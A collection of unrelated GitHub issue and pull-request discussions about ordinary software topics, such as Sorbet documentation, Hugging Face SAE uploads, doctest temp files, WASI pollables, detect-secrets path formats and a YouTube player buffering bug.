I'm not quite sure. include Kernel works in all Ruby code out of the box and has ~no downsides. Using requires_ancestor for something as simple as having access to methods from Kernel in your module seems like overkill. Given that this is one of the first error messages that people are likely to see, I'm not sure that it makes sense to include right here in the error reference docs.
If you want to put an example of how to use requires_ancestor with Kernel in the "Requiring Ancestors" doc, that seems appropriate.

This error isn't limited to Kernel methods though, it's just an example of a dependency on a mixed-in module within Ruby itself.
While I agree that for this case require_ancestor may be overkill, perhaps these docs should mention examples that aren't Kernel, and in those cases mention (with cautionary notes) the experimental require_ancestor feature.
I think discoverability and cross-linking in documentation is important, even for experimental features, because one may not know what exactly to search for to solve one's problems, leading to code needlessly using T.unsafe.


feat: support uploading and loading arbitrary huggingface SAEs

Description
This PR adds a upload_saes_to_huggingface() function which uploads a dictionary of SAEs into a huggingface repo. This PR also adjusts the SAE.from_pretrained() function so that if the users passes a huggingface repository directly as the release param, the SAE can be directly loaded from huggingface even if it's not in the pretrained_saes.yaml file.
An example repo generated from this function can be seen at https://huggingface.co/chanind/sae-lens-upload-demo. The README.md is also autogenerated as part of the upload.
This PR also adds a tutorial notebook, uploading_saes_to_huggingface.ipynb and adds a corresponding section to the training docs.  A screenshot from the new training docs is show below:

Fixes #234
Type of change
Please delete options that are not relevant.

[ ] Bug fix (non-breaking change which fixes an issue)
[x] New feature (non-breaking change which adds functionality)
[ ] Breaking change (fix or feature that would cause existing functionality to not work as expected)
[x] This change requires a documentation update

Checklist:

[x] I have commented my code, particularly in hard-to-understand areas
[x] I have made corresponding changes to the documentation
[x] My changes generate no new warnings
[x] I have added tests that prove my fix is effective or that my feature works
[x] New and existing unit tests pass locally with my changes
[x] I have not rewritten tests relating to key interfaces which would affect backward compatibility

You have tested formatting, typing and unit tests (acceptance tests not currently in use)

[x] I have run make check-ci to check format and linting. (you can run make format to format code if needed.)

Looks great! Thanks so much!


Doctests creates several files

When we run the doctests they create several files in the ROSS directory, this is annoying since these documents can sometimes go into commits by mistake.
Ideally doctests would not create or modify files.
I was looking for solutions to this in numpy docstrings and I saw that they use a temporary file in this case:
    Examples
    --------
    >>> from tempfile import TemporaryFile
    >>> outfile = TemporaryFile()
    >>> x = np.arange(10)
    >>> np.save(outfile, x)

Another option would be to add these files to a /tmp/ folder that could be added to the project's .gitignore file:
    Examples
    --------
    Store data to disk, and load it again:
    >>> np.save('/tmp/123', np.array([[1, 2, 3], [4, 5, 6]]))
    >>> np.load('/tmp/123.npy')
    array([[1, 2, 3],
           [4, 5, 6]])

I think the second solution is better, since the import from TemporaryFile might cause some confusion.

The second solution seens better to me too.

I have implemented the second solution and we have merged the code in #601.
The problem is that appveyor was not working at that time (#611) and we didn't notice that the code does not work on windows.
I will implement the solution based on the tempfile module (https://stackoverflow.com/a/847866/5726899).


Question about the data of  /camera/depth_registered/points

Required Info

Camera Model
SR300

Operating System & Version
Linux Ubuntu 16.04

Kernel Version (Linux Only)
4.15.0

Platform
PC

SDK Version
2.19.1

ros package version
2.2.0

I subscribed the topic "/camera/depth_registered/points" .
pcl::PointCloudpcl::PointXYZ point_pcl;
pcl::fromROSMsg(*point_cloud_msg, point_pcl);
std::cout << "x  = " << point_pcl.at(u,v).x << std::endl;
std::cout << "y  = " << point_pcl.at(u,v).y << std::endl;
std::cout << "z  = " << point_pcl.at(u,v).z << std::endl;
I don't know the unit of the x y z.  if I multiply z by 0.1 ，the data is smaller than the right distance by about 5cm.  (15cm when 10cm)I have updated my ros package and lib to the latest. Is there a correct  tool or have I used wrong method?   Is the frame right?

There is an issue with the scale for SR300. You can see the progress in PR#605
I'm not sure yet if it implies to the pointcloud but I think you should multiply by 0.125.
Also, 10 cm is very close to the lower limit of the camera. I suggest you make your testings at around 30-50 (cm) if possible.

There is an issue with the scale for SR300. You can see the progress in PR#605
I'm not sure yet if it implies to the pointcloud but I think you should multiply by 0.125.
Also, 10 cm is very close to the lower limit of the camera. I suggest you make your testings at around 30-50 (cm) if possible.

And what's the scale of x and y.   I put the target almost in the center but it shows 0.10 0.13 . How can I confirm the scale by myself ?


chore: update PULL_REQUEST template for github

:tada: This PR is included in version 4.0.0-beta.14 :tada:
The release is available on:

npm package (@beta dist-tag)
GitHub release

Your semantic-release bot :package::rocket:


ListWidget: Don't scroll list on reveal if item already visible

Saw #82828 and realized it's something which bugs me fairly often so I took a stab at it.
Before deciding how to position the item being revealed, check if it's already visible (ie. fully within the list's viewport). If so, it is already revealed, and we don't need to jump around which can be jarring.
This PR fixes #82828

The user of the list must call getRelativeTop to figure out whether an element is already in view and avoid calling reveal if that's the desired behavior. cc @isidorn
Thanks though!


Feature Request: other video formats

It would be nice to have other video formats besides "mkv" such as "mp4" and "webm", if possible.

if possible please add mp4 video format ;-;


refactor: allow Subscribe::ready to be fallible

In the current implementation Subscribe::ready is assumed to be infallible, which does not work in a generic case, where the implementation may require, in fact, to cause a trap in the guest.
This is important, because implementations that require ability to trap in host wasi::io::poll/pollable would otherwise require to implement their own wasi::io::poll/pollable, meaning that they would not be able to reuse all the existing WASI crate implementations (https://docs.rs/wasmtime-wasi/latest/wasmtime_wasi/preview2/trait.Subscribe.html#implementors), potentially locking developers out of most of WASI functionality (due to the Pollable concrete type being used in signatures, which cannot be externally constructed)

Could you describe a bit more when an embedder might want to return a trap via this method? I agree the current interface doesn't allow it, but one reason we chose to not do this is to avoid a common mistake of performing I/O and returning the error in the ready method instead of buffering up the error to get returned from an accessor elsewhere.

Could you describe a bit more when an embedder might want to return a trap via this method? I agree the current interface doesn't allow it, but one reason we chose to not do this is to avoid a common mistake of performing I/O and returning the error in the ready method instead of buffering up the error to get returned from an accessor elsewhere.

First I'll comment on this part:

buffering up the error to get returned from an accessor elsewhere

This may not be possible in a generic case, because for this to work the host would need to know which accessor is coupled with the pollable and this relationship is not in any way encoded in WIT. In other words, the host must be aware of the executed Wasm component runtime behavior/logic in order to expose the error in the accessor. Consider wasi:http/types.future-trailers, for example:
resource future-trailers {
  subscribe: func() -> pollable;
  get: func() -> option<result<result<option<trailers>, error-code>>>;
}

Because the host at compile time is aware of the behavior of wasi:http/future-trailers, it knows that if an error was encountered in Subscribe::ready implementation of the returned pollable, wasi:http/future-trailers.get should return it.
But in case of some generic resource, which is only known at runtime, e.g.:
resource custom-trailers {
  subscribe-one: func() -> pollable;
  subscribe-two: func() -> pollable;
  get: func() -> option<result<result<option<trailers>, error-code>>>;
  foo: func() -> string;
}

The host may not in any way know how to communicate the error (and which one) to the guest. The interface, may, in fact, not even utilize an accessor and simply rely on the fact that the pollable has returned "ready". This is precisely the behavior of wasi-clocks timeouts https://github.com/WebAssembly/wasi-clocks/blob/52335b59451193cb36830588298085a76fc78ff1/wit/monotonic-clock.wit#L33-L37.
Coming back to the first part:
My exact use case is a "pollable", which is a remote entity accessible via network:

Subscribe::ready establishes the connection to the remote peer
Any relevant data is communicated over the connection, an empty response is received by the caller
Subscribe::ready unblocks

If network connection in 1. fails, it can just be retried, perhaps with backoff - that part works well with existing API.
If, however, (unrecoverable) protocol error is encountered in 2. - causing a trap in the guest seems to be the only reasonable approach, since the remote entity state is not known and there is no generic way to communicate the error to the guest.

Ok makes sense, thanks for explaining. Can this be fixed though by updating the WIT-level APIs?
For example in your custom-trailers I would say that what subscribe and the pollables mean depends on how the WIT APIs are defined. It would be an API contract that subscribe-one would indicate readiness of get and subscribe-two would indicate readiness of foo where foo would have to semantically define what it means to be called before it's ready, etc.
In your use case of a remote-owned resource, this is something that I'd at least personally expect to go through an error somewhere in the WIT. One option would be that when the pollable says "ready" any future operations on it trap (communicating the fatal error) or by updating the APIs there to surface an error instead.


ref 644868 - server backup subcommands

adds various server backup subcommands
Testing Done:

tested locally
ran linters / formatters / make test / make generate-docs

Otherwise looks good to me 👍


Fix tools serialization (for versions < 1.5)

Fix tools serialization (for versions < 1.5)
According to
https://cyclonedx.org/docs/1.4/json/#vulnerabilities_items_tools
tools needs to be an array, not a null value.

@coderpatros FYI


Augment symbols and Auction light fix

Added augment symbols in auction and weapon construction, resolves #397
Fix #423

For later:

We should consider redoing the item pedestals in the auction scene and show the symbols on them too
We should consider adding the symbols and some other explanatory graphics in training as well (I'll create an issue on merge)
We should consider some peeple with better artistic skill to evaluate/redesign the symbols <.<

still needs adjustment on the bidding platforms but ah well

Yeah, the plan is to redo the pedestal model so it has a display where we can put the symbol, but I'll do that later (tm) 😅


detect-secrets scan on Windows generates different file paths than on Linux

When running detect-secrets scan > .secrets.baseline on windows, the resulting JSON has file paths in Windows style (\ instead of /). This causes issues when you try to run detect-secrets hook in a pipeline in a Linux machine (it will not recognize any secrets as part of the baseline).
Example json from running detect-secrets scan > .secrets.baseline on windows:
"results": {
    "src\\Client\\wwwroot\\index.html": [
      {
        "type": "Base64 High Entropy String",
        "filename": "src\\Client\\wwwroot\\index.html",
        "hashed_secret": "somehash",
        "is_verified": false,
        "line_number": 10
      },
      {
        "type": "Base64 High Entropy String",
        "filename": "src\\Client\\wwwroot\\index.html",
        "hashed_secret": "somehash",
        "is_verified": false,
        "line_number": 25
      }
    ],
    "src\\Server\\Controllers\\BuildController.cs": [
      {
        "type": "Secret Keyword",
        "filename": "src\\Server\\Controllers\\BuildController.cs",
        "hashed_secret": "somehash",
        "is_verified": false,
        "line_number": 15
      }
    ],
    "src\\Server\\Program.cs": [
      {
        "type": "Secret Keyword",
        "filename": "src\\Server\\Program.cs",
        "hashed_secret": "somehash",
        "is_verified": false,
        "line_number": 28
      },
      {
        "type": "Secret Keyword",
        "filename": "src\\Server\\Program.cs",
        "hashed_secret": "somehash",
        "is_verified": false,
        "line_number": 31
      }
    ]
  }

and on Linux:
"results": {
   "src/Client/wwwroot/index.html": [
     {
       "type": "Base64 High Entropy String",
       "filename": "src/Client/wwwroot/index.html",
       "hashed_secret": "somehash",
       "is_verified": false,
       "line_number": 10
     },
     {
       "type": "Base64 High Entropy String",
       "filename": "src/Client/wwwroot/index.html",
       "hashed_secret": "somehash",
       "is_verified": false,
       "line_number": 25
     }
   ],
   "src/Server/Controllers/BuildController.cs": [
     {
       "type": "Secret Keyword",
       "filename": "src/Server/Controllers/BuildController.cs",
       "hashed_secret": "somehash",
       "is_verified": false,
       "line_number": 15
     }
   ],
   "src/Server/Program.cs": [
     {
       "type": "Secret Keyword",
       "filename": "src/Server/Program.cs",
       "hashed_secret": "somehash",
       "is_verified": false,
       "line_number": 28
     },
     {
       "type": "Secret Keyword",
       "filename": "src/Server/Program.cs",
       "hashed_secret": "somehash",
       "is_verified": false,
       "line_number": 31
     }
   ]
 }

As the Linux generated baseline file works when running for example detect-secrets audit on Windows (which makes sense because / also works for file paths on Windows), it would be useful to change to this format so that the resulting format is consistent across platforms. If backwards compatibility is a concern, this could be introduced along with an opt-in or opt-out CLI flag (i.e. --use-windows-style-file-paths).

Hi @Pikabanga, this issue seems to PR #586. I'll add this reference in here and keep you posted on the status of that PR.

For other people, this means you have to add all files twice to the results section, once with // and once with . I guess in the meanwhile we can write a script to fix the JSON file after creation and before audit looks at it.

@Pikabanga  #586 has been merged and will be included in the next release!


Added debug logging of activity to the g8os

Codecov Report

Merging #217 into 1.1.0-alpha will decrease coverage by 2.16%.
The diff coverage is n/a.

@@               Coverage Diff               @@
##           1.1.0-alpha     #217      +/-   ##
===============================================
- Coverage        16.38%   14.21%   -2.17%
===============================================
  Files               15       15
  Lines             1056     1217     +161
===============================================
  Hits               173      173
- Misses             872     1033     +161
  Partials            11       11

Impacted Files
Coverage Δ

base/pm/runner.go
0% <0%> (ø)
:arrow_up:

base/pm/pm.go
0% <0%> (ø)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 8ae8db4...4310c1f. Read the comment docs.


point findinghal.org DNS to this Github repo

Add permissions to @mspector13:

Yay, http://findinghal.org is pointing to this repo:

After adding these settings per Managing a custom domain for your GitHub Pages site - GitHub Docs:


Dark White and Dark Black

The Example on Crates.io and here contains dark_white!("dark_white "); and dark_black!("dark_black "); both colours arent in the script because Dark White would be grey and black is already dark, maybe remove them from the example since it wouldnt really make a point to create them.
I'd also suggest renaming the function all_colours() to main(), that way the example could be copied and would run without further editing which is always a nice thing for examples.

Thanks for the report (and apologies for the delay in responding!)
Both points should be fixed in commit 4259e27.


[Hotfix] Update usage.md

PR
Describe your changes

Update usage.md with wallet_switchEtheremNetwork and wallet_addEthereumNetwork usage

Checklist before requesting a review

[x] You have performed a self-review of your own code
[x] You are using approved terminology
[x] Your changes have been tested locally
[x] Your code builds clean without any errors or warnings

@makylfang should I merge it? can ignore branch name check failure i guess?


[Feature]: Apply scuttle animation to when you scuttle your opponent

Feature Summary
Currently we animate when the opponent scuttles you by removing the card from the opponent hand and putting it on top of your point card before both move to the scrap. We should apply a similar motion to your opponent’s point card when you scuttle them.
Detailed Description
This will be managed using js by updating the processScuttle() action in client/js/store/modules/game.js.
That function currently checks which player scuttled which and if the player did the scuttling, does the complete update in one step (by calling the updateGame() mutation) rather than first removing the card from the opponent hand + putting it onto the target card. Instead we should have this case mirror the one where the opponent scuttled you, by first removing the card from your hand and putting it on the scuttledBy attribute of your opponent’s point card before setting a timeout that calls the full update of the game state.
This would also require updating the <transition> around the scuttledBy card in client/js/components/gameView/card.vue so that it dynamically uses the slide-above or slide-below transition name depend in on which player’s card it is. The corresponding transition css would also need to be copied from client/js/views/GameView.vue

Resolved by #240


Upgrade workspace AzureRM provider

What is being addressed
The workspace was using version 2.9 of the AzureRM Terraform provider. This upgrade moves to 3.1 which was part of my wider auto-aad-workpsace work, but have broken it out into smaller chunks.

/test


Solving the problem of popUntil

Solve popUntil shutdown page, no callback dispose method and GlobalKey state will not be destroyed.

Please file a bug first with an explanation of the problem, so that we can discuss possible solutions.
Using a timer is almost certainly not the right solution to this problem.


feat: implement max marginal relevance for momento vector index

Description
Implements max marginal relevance search for the Momento Vector Index vector store integration.
Dependencies
Bumps the @gomomento dependencies to get support for searchAndFetchVectors, which is needed for the MMR implementation.
Tests
✅ adds integration test for MMR to verify diversity-based ranking
Twitter handle
Please shoutout @momentohq for Momento Vector Index and @mlonml for the contribution. With this contribution, MVI now supports all core vector store methods!

LGTM, thank you!


SAK-44116: T&Q: Retake does not respect due date

https://jira.sakaiproject.org/browse/SAK-44116
Removing the code in this else block resolves the issue in the ticket. The issues is that when the due date has passed and late submissions are not allowed, this else block runs and the "retractDate == null" test passes and allows the student access if they have been granted a retake.
Since late submissions are not allowed in this scenario, the value of retract date is meaningless and should not be checked anyway. If an instructor wants to allow retakes to be submitted late, they can use availability exceptions for this.

I think this is correct after all, re-opening.


Colorized rendering and revised layer stacking

[x] Let user specify colors for individual input layers
[x] Let user render multiple layers from multiple files or just multiple single-layer files

Done - https://github.com/geowurster/gj2ascii/commit/a6dd21e0b6e812d4720358a595205acc7f2da011


fix: fixed weather.py api key leakage

Now the user has to type in the input for the api-key.

https://github.com/DevSnowflake/hacktoberfest-2021/pull/206

Closing this now as per this statement on #185


Filter out solution folders when iterating projects

Version 0.15 of Cake introduced support for solution folders on SolutionParser. This broke Cake.StyleCop because additional items are now returned on the Projects collection and those items don't have a corresponding .csproj file on disk.
We need to filter out the "projects" that are actually solution fodlers.I see two options to handle this:

Hard-code the well-known magic string for the Type of solution folders. This keeps the dependency on Cake in the same version.
Assume the minimum version of Cake to 0.15.0 and filter out either using the SolutionFolder class or the SolutionFolder.TypeIdentifier constant.

Since Cake still doesn't have a way of matching addin versions to Cake versions, option 2 may break some scenarios. But everything is still on v 0.XX.X.
Which would you prefer?

I've created a pull request where I've taken the first approach to fix it for folder project types.
There may be some projects that will break the addin as well, but I'm not confortable enough with the .sln format to know.

@Ashthos any word on this?

i can confirm that solution folders are causing problems with the stylecop addin. please include @Symbianx his PR

Any news on this?

Any news on this?

@luisgoncalves, this issue has been fixed with PR #3.


Issue 96

Codecov Report

Merging #97 (5900797) into master (6c5b6a3) will increase coverage by 0.47%.
The diff coverage is 63.94%.

@@            Coverage Diff             @@
##           master      #97      +/-   ##
==========================================
+ Coverage   85.54%   86.02%   +0.47%
==========================================
  Files          11       11
  Lines        2145     2168      +23
==========================================
+ Hits         1835     1865      +30
+ Misses        310      303       -7

Impacted Files
Coverage Δ

src/lib.rs
100.00% <ø> (ø)

src/edn/utils/mod.rs
60.00% <30.00%> (ø)

src/deserialize/mod.rs
81.17% <46.66%> (-0.06%)
:arrow_down:

src/edn/mod.rs
75.47% <47.61%> (+0.86%)
:arrow_up:

src/edn/utils/index.rs
20.00% <50.00%> (-1.35%)
:arrow_down:

src/serialize/mod.rs
85.13% <79.16%> (+0.10%)
:arrow_up:

src/deserialize/parse.rs
96.73% <100.00%> (+0.16%)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 6c5b6a3...5900797. Read the comment docs.


Question about random seeds

In your article
”During training, we randomly sample the initial state for an episode and each episode lasts for 240 time steps (i.e. a half day). Every experiment is run with 5 random seeds and the test results during training are given by the median and the 25%-75% quartile
shading. Each test is conducted every 20 episodes with 10 random selected episodes for evaluation.“
''Every experiment is run with 5 random seeds'' ,but I didn't find it in the code. Can you tell me how to add random seeds? I have tried but it doesn't work.

Dear zly987,
At present, it will automatically generate a random seed when you initialize a training procedure. We will construct a function that can manually set up it in the updated version.

OK, Please inform me if there is an updated version，thank you very much.

I have added random seed control and pushed the code.

Thanks a million.


Bump github.com/docker/docker v20.10.24 -> v24.0.7

address https://github.com/advisories/GHSA-jq35-85cj-fj4p
make sure the docker deamon, the agent connect to, is updated

Docker Engine 20.10 will be EOL soon (if I remember correctly 10th December) so I think we should definitely update this but probably not for 1.x release as this could break some instances 🤷🏻♂

I always prefer security over compatibility and as this would be released as v1.1.0 not v1.0.x I would say 👍🏻 for this 😉

This has been discussed among maintainers in the matrix channel and until now there was no clear conclusion on how to proceed. There are good reasons for both approaches, but the tl;dr is: it's more than "just" a security patch and would be breaking due to API incompatibility with older OSes and hence not really a clean minor/patch release.

well @anbraten did his final veto ... so v1.x.x is now unmaintained as of now


Support for Prerelease Version Identifiers

Semver allows for pre-release version identification which includes dashes and alpha numeric characters. For example, 1.0.0-alpha is a valid pre-release version.
Currently, with pyinstaller-versionfile, it gives an error with a pre-release version:
  File "gaphor.spec", line 110, in <module>
    pyinstaller_versionfile.create_versionfile(
  File "D:\a\gaphor\gaphor\.venv\Lib\site-packages\pyinstaller_versionfile\__init__.py", line 36, in create_versionfile
D:\a\gaphor\gaphor
    __create(metadata, output_file)
  File "D:\a\gaphor\gaphor\.venv\Lib\site-packages\pyinstaller_versionfile\__init__.py", line 52, in __create
    metadata.validate()
  File "D:\a\gaphor\gaphor\.venv\Lib\site-packages\pyinstaller_versionfile\metadata.py", line 103, in validate
    self.__validate_version(self.version)
  File "D:\a\gaphor\gaphor\.venv\Lib\site-packages\pyinstaller_versionfile\metadata.py", line 109, in __validate_version
    raise exceptions.ValidationError(
pyinstaller_versionfile.exceptions.ValidationError: Provided version 2.14.3-alpha is not valid. Valid versions must contain four places with only digits.

I think the VERSIONINFO resource descriptor also allows for marking versions as pre-release with VS_FF_PRERELEASE. So maybe the pre-release version could be stripped off, and we mark the version as a pre-release?

Thank you for opening this issue!
I agree that this makes sense.
Looking into the PyInstaller sources, the corresponding attribute should be FixedFileInfo.flags. The value to set in this case should be VS_FF_PRERELEASE 0x00000002L.
Would you like to contribute a PR?
Otherwise I can take a look at it as soon as possible.

Hey @DudeNr3, thanks for being open to adding new features. I looked into this more and I think as long as pyinstaller_versionfile accepts versions in the Product Version Format, that users can be in charge of converting into that format. We could write a value to the prerelease identifier, but it probably isn't really needed at least for my use case.


Issue of ffmpeg for anyone installing this package

Try to create a release package that will resolve this

done, but did not mentioned steps to install ffmpeg


[AIRFLOW-XXX] Fix doc of command line interface

Make sure you have checked all steps below.
Jira

[X] My PR addresses the following Airflow Jira issues and references them in the PR title. For example, "[AIRFLOW-XXX] My Airflow PR"

https://issues.apache.org/jira/browse/AIRFLOW-XXX
In case you are fixing a typo in the documentation you can prepend your commit with [AIRFLOW-XXX], code changes always need a Jira issue.

Description

[X] Here are some details about my PR, including screenshots of any UI changes:

There are two issues found in documentation of command line interface
Issue 1

The default value of --subdir is generated dynamically, so Kaxil's Dag Folder during compiling is used in the final documentation (this appeared 14 times in https://airflow.apache.org/cli.html). I believe this should be "hardcoded" into [AIRFLOW_HOME]/dags.
Issue 2
A minor typo (a space is missing).

Tests

[x] My PR adds the following unit tests OR does not need testing for this extremely good reason:
Only doc is changed

Commits

[x] My commits all reference Jira issues in their subject lines, and I have squashed multiple commits if they address the same issue. In addition, my commits follow the guidelines from "How to write a good git commit message":

Subject is separated from body by a blank line
Subject is limited to 50 characters (not including Jira issue reference)
Subject does not end with a period
Subject uses the imperative mood ("add", not "adding")
Body wraps at 72 characters
Body explains "what" and "why", not "how"

Documentation

[x] In case of new functionality, my PR adds documentation that describes how to use it.

When adding new operators/hooks/sensors, the autoclass documentation generation needs to be added.

Code Quality

[x] Passes git diff upstream/master -u -- "*.py" | flake8 --diff

Good catch @XD-DENG . Wonder how long this issue went un-noticed. We have this issue in 1.9.0, 1.8.2  docs as well:
1.9.0: https://airflow.readthedocs.io/en/1.9.0/cli.html#Named Arguments_repeat4
1.8.2: https://airflow-fork-k1.readthedocs.io/en/v1-8-stable/cli.html#Named Arguments_repeat1

I fear we had this Bug since the start.
@ashb you are right, changing this will cause issues. I will create a new PR to take care of this.

Thanks @kaxil for the further checking.
I'll close this PR then. Regarding issue 2 (a missing space), may you fix that in your new PR as well? Thanks!


Detection + Usage of Firefox fails on Windows 10

Hi,
I encounter a problem with Firefox on Windows10.
On the one hand BrowserCooser fails on detecting Firefox. The binary is located in
C:\Program Files\Mozilla Firefox\firefox.exe
so the pattern for detection
Dim firefox As String = Path.Combine(programFiles, "Mozilla Firefox\firefox.exe")
should be able to find it.
For Chrome for example this is working fine, even though I discovered that Chrome is in the x86 folder
Binary:
C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
Pattern:
Dim chrome As String = Path.Combine(programFiles, "Google\Chrome\Application\chrome.exe")
Anyhow .. would be nice to have but is not crucial as there is the "Custom" Option. But not even that is working.
Specifying Firefox as Custom, browsing to the binary with the proper message box "..." it displays an error that the target browser does not exist in the target location.
Any ideas?
BR
Sebastian

I can't add Firefox neither Firefox Developer. I think you are right maybe only detect firefox, beta and dev edition.

Hi,
using the 32bit Version I was able to add it. Works but I perceive it as bug nevertheless.


fix(paramserver): raise exception during download when trees not found

Description
When no matching tree names are found in download_configurations, the code will now raise a ConfigNotFoundException. This will assure that clients get a proper error instead of not knowing what happened.
Wrike Ticket: https://www.wrike.com/open.htm?id=1182864968

:tada: This PR is included in version 1.14.0 :tada:
The release is available on GitHub release
Your semantic-release bot :package::rocket:


Use 5GHz for client simulated network

Goals
Simulate client networks as 5GHz networks instead of 2.4GHz networks
Technical Details
Use a 5GHz frequency as the default for fake networks results.
Testing
Unit tests have been updated and are passing
Checklist

[x] All targets compile successfully
[x] Changes have been formatted with clang-format
[x] Newly added code include doxygen-style comments
[x] Unit tests are succeeding

yeah. App compat :)
we got a report of an app that popped up a dialog that said "Hey, you should be on 5Ghz! click here to update your Wi-Fi settings".
kinda dumb, but that's what the app did


[Bug]: ODataV4 always provide the data in a Primary Key order from BC23

Describe the issue
As we realized in BC23 release, if you are trying to retrieve data via ODataV4 protocol, you will got the data always in a primary key order. It does not matter you are setting a different sort order in a SourceTableView property or OnOpenPage trigger of the page.
If you run the page in a WebClient or retrieve the data via SOAP protocol it works well, you will got the data in a right order, and it worked with ODataV4 also till BC23.
Expected behavior
ODataV4 protocol should provide the data in right sort order what we have set on the page, not always in a primary key order.
Steps to reproduce

Create a simple list page, based on table Customer, with the two following fields No. and Name.
Set sort by Name with a SourceTableView property or with a setcurrentkey statement in trigger OnOpenPage
Run the page in the WebClient. You will got the list of the customers by Name
Publish the page as web service
Click on an ODataV4 URL for this page and you will got the list of the customers by No.

Additional context
This "feature" breaks our app, so please handle this with priority.

This is not the correct place to post bug reports. You need to open a support request with Microsoft.

That sounds like a product defect! Unfortunately, this repository is only for extensibility requests for Dynamics 365 Business Central or pull requests towards the 1st party Business Central apps. We suggest that you open a support case or file a bug to ensure that all Business Central users benefit from your catch as soon as possible:
On premises - https://support.microsoft.com/en-us/supportforbusiness/productselection?sapId=93d37907-ad94-d591-22e9-593cfa09dd3f
Cloud – contact your partner, or if you are a partner open a support incident through Partner Center - https://partner.microsoft.com/en-us/pcv/dashboard/overview


Deleting binds in connections dialog could be improved

Godot version
7d6f878
System information
Windows 10 x64
Issue description
This:

The connection dialog has a type selector and Add button that adds a bind, which is then edited in a micro inspector. This is ok, but the odd part is the Remove button. It removes the currently selected argument and does nothing if nothing is selected. This is somewhat intuitive, but still feels weird.
Instead we could maybe add a delete button next to each property:

But not sure how it can be implemented, as the property list is an inspector.
Steps to reproduce

Try to connect something
Go to Advanced and add extra arguments
Try to remove argument

Minimal reproduction project
No response

EditorProperty has a deletable setting that adds an X button to the right side of the property. It's currently only used by metadata. The connections dialog could make use of it too.


Android SDK 16 (Jelly Bean): Response to Permissions.request('camera') is undefined (expecting 'authorized')

My code, running on a Nexus S (Android 4.1, Jelly Bean, SDK 16) emulator:
const Permissions = require('react-native-permissions');

    Permissions.request('camera')
    .then(
      response => {
        console.log('Camera permission:');
        console.log(response);
      }
    )

I'm expecting the response to be 'authorized', but I instead see undefined.
Behavior on more recent Android versions behave as expected.

Hi @sunweiyang - I'm not sure, we are using RN's own implementation under the hood. Maybe check here: https://facebook.github.io/react-native/docs/permissionsandroid.html

@yonahforst the issue is that PermissionsAndroid returns boolean if android OS is less than M, and your code tries to always map it to RESULTS

Thanks for creating the PR @bienur  https://github.com/yonahforst/react-native-permissions/pull/163

resolved in #163


fix(ExpandableTile): set correct maxHeight for expanded by default tile

Closes IBM/carbon-components-react#1351
componentDidMount is setting maxHeight equal to the height of the non-expanded tile on the initial render but it doesn't get updated after the component receives props and because of that component height was incorrect if it was expanded by default.
Changelog
New

componentDidUpdate event live cycle that sets the correct maxHeight value when the component receives initial props.

new expanded prop in storybook

@asudoh
1.) I initially tried to do that without using a new lifecycle method but was unable to. cDM() doesn't receive initial props and I don't think it needs an update unless there is a better way to do that.
2.) Reusing that would be a good idea thanks!

I've reused the function but also refactored it a bit, I find this short version better. Let me know what you think.


snippet cannot effectively automatically

snippet c)
Copyright &enc[:2] == "utf" ? "©" : "(c)" strftime("%Y") ${1:g:snips_author}. All Rights Reserved.
This snippet cannot effectively automatically replace some of the placeholders, such as encoding, time

That's correct, interpolation is not yet implemented for snipmate-like snippets.
I'll close this issue though, there already is #283 for this problem.


New issue found : Youtube player keep loading only after dragged the seek bar , its unable to play video.

is there any solution available?

I have observed that if we call loadVideo(videoid,seekedPosition) for the first time when user seeks player it fixes the issue of infinite buffering player state  couldn't find the actual cause .

I don't think the issue is from the youtube api's because in mine case, when I am using custom controller then only I am facing this and when using the sample app provided in this repo, then I am not facing.
My custom controller is almost same as the default one in this repo.

I have observed that if we call loadVideo(videoid,seekedPosition) for the first time when user seeks player it fixes the issue of infinite buffering player state couldn't find the actual cause .

But isn't it a hack and not a fix. Also, since it loads the video again, it does not give a smooth experience

I have observed that if we call loadVideo(videoid,seekedPosition) for the first time when user seeks player it fixes the issue of infinite buffering player state couldn't find the actual cause .

But isn't it a hack and not a fix. Also, since it loads the video again, it does not give a smooth experience

Yes it is not right approach . I m facing this issue with certain set of videos even in the sample app of library itself .

Hey @PierfrancescoSoffritti Could you please look into this once?

Hey, the code is open source, feel free to take a look. This issue never happened to me, which makes me think that could be an error on your side, or YouTube behaving differently in your region.

Hey all,
Just wanted to be sure. Those who all are facing issues are using the native player or the webui based one?
This will help us track down where the actual issue might be

Hey all,
Just wanted to be sure. Those who all are facing issues are using the native player or the webui based one?
This will help us track down where the actual issue might be

I  am using custom uicontroller (native ui) but the issue can be easly reproduced on both i checked in sample app with this video
videoId 6Ogi2gn92Lk .   I have also tried to run the exact iframe html on pc web browser the player is working fine there . But same html is causing issues when played inside android webview .

Yeah, for me the issue is occurring in both native as well as webui.
Other points that I noted are following:

I have tried using the library in a separate new project and it works completely fine. Both the default and the custom version are working fine.
The weird thing is I copy pasted exactly code from my current project to the new project and in the new project it is working fine while in my current project, its not.
Initially I thought, the problem is with the custom controller that I am using in my current project, but without using it also I am facing the same.

The way I am implementing it is, I am showing the youtube player in a pop up window
MainActivity.kt

        val ytLayout = View.inflate(activity, R.layout.dialog_youtube_player, null)     // The UI that will be on the pop up screen
        player = ytLayout.findViewById(R.id.youtubePlayer)                                    // The youtubePlayerView
        activity.lifecycle.addObserver(player)

        val width = getScreenWidth()
        val window = PopupWindow(
                ytLayout,
                width - 50,
                ViewGroup.LayoutParams.WRAP_CONTENT,
                true
        )
        window.setBackgroundDrawable(ColorDrawable(Color.WHITE))
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) {
            window.elevation = 20f
        }

     //Using delay because activity ui might not be ready
        Handler(Looper.getMainLooper()).postDelayed({
            window.showAtLocation(ytLayout, Gravity.TOP, mPosX, mPosY)
        }, 100)

        val customPlayerUi: View = player.inflateCustomPlayerUi(R.layout.custom_youtube_player)
        player.addYouTubePlayerListener(object : AbstractYouTubePlayerListener() {
            override fun onReady(youTubePlayer: YouTubePlayer) {
                customYoutubeUiController = CustomYoutubeUiController(customPlayerUi, youTubePlayer)
                youTubePlayer.addListener(customYoutubeUiController!!)
                youTubePlayer.loadOrCueVideo(activity.lifecycle, videoId, 0f)
            }
        })

CustomYoutubeUiController
class CustomYoutubeUiController(controlsView: View, private val youTubePlayer: YouTubePlayer)
